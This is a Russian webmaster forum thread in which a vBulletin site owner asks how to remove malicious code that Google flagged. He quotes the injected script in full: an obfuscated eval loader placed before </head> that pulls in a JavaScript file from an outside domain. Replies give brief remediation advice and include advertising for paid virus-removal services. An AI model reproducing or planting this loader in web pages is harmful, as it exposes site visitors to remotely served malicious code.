Форум Сайтостроение Администрирование серверов

Вредоносный код в head`е

ID
На сайте с 13.11.2011
Offline
33
IRONHiDE
602

Добрый вечер!

Вчера Google доложил о возможном вредоносном коде на сайте (форум на vBulletin 4.0.8).

Гугл указывает на ряд ссылок с вредоносным кодом, код везде одинаковый.

Возможный вредоносный код: 

<script>eval(function(p,a,c,k,e,r){e=function(c){return c.to

String(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c
]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w

+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)

+'\\b','g'),k[c]);return p}('3 1=4.5(\'6\');1.7=\'8://9-a.b/

c.d.1\';3 2=4.e(\'2\')[0];2.f(1);',16,16,'|js|head|var|docum

ent|createElement|script|src|http|javascript|collection|in|j

query|compatibility|getElementsByTagName|appendChild'.split(

'|'),0,{}))</script>

Везде стоит перед </head>

Поиск по стилям ничего не дал. Как можно его удалить \ побороть?

Прошу помощи в решении данной проблемы.

M
На сайте с 01.12.2009
Offline
235
madoff
#1

надо искать, чистить, находить дырку, и закрывать.

Администратор Linux,Freebsd. построения крупных проектов.
R
На сайте с 24.01.2008
Offline
180
Алексей
#2

Стучите в асю, удалим вирус!

Удаление вирусов с сайта, защита сайта, Гарантия! ( /ru/forum/999073 ) -> топик на маулталк ( http://www.maultalk.com/topic113834s0.html ) -> Топик в сапе ( http://forum.sape.ru/showthread.php?t=79363 ). TELEGRAM - https://t.me/Doktorsaitov
ID
На сайте с 13.11.2011
Offline
33
IRONHiDE
#3

Воспользовался услугами Rxp.

Ну что могу сказать, я считаю, что мой заказ выполнен, и даже больше. Проделано всё что требовалось, и не только. Теперь, думаю, ресурс полностью очищен.

Работа выполнена качественно (хоть я и не спец в этом деле, но надеюсь, что это на самом деле так), что не мало важно ещё и в короткие сроки. Были даны рекомендации. На все мои глупые вопросы даны четкие ответы. =)

О потраченных средствах на заказ не жалею. Рекомендую.

Тему Rxp можно найти тут: /ru/forum/635696

Den73
На сайте с 26.06.2010
Offline
523
Den73
#4
IRONHiDE:
Воспользовался услугами Rxp.
Ну что могу сказать, я считаю, что мой заказ выполнен, и даже больше. Проделано всё что требовалось, и не только. Теперь, думаю, ресурс полностью очищен.
Работа выполнена качественно (хоть я и не спец в этом деле, но надеюсь, что это на самом деле так), что не мало важно ещё и в короткие сроки. Были даны рекомендации. На все мои глупые вопросы даны четкие ответы. =)

О потраченных средствах на заказ не жалею. Рекомендую.

Тему Rxp можно найти тут: /ru/forum/635696

рекламный топик :p

нужно искать дыру через которую вам модифицировали файл, почистить то не сложно но смысл то... позже опять зальют. вирусня прибыльное дело.

Andreyka
На сайте с 19.02.2005
Offline
822
Andreyka
#5

Ну чихпых то вам надеюсь закрыли в аплоаде?

Не стоит плодить сущности без необходимости
L
На сайте с 18.02.2012
Offline
83
l17l
#6

а тебе что гоогле или яндекс, не указали на какой странице обнаружили вредоносный код, обычно указывают, может у тя ваще шел стоит где нить )

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий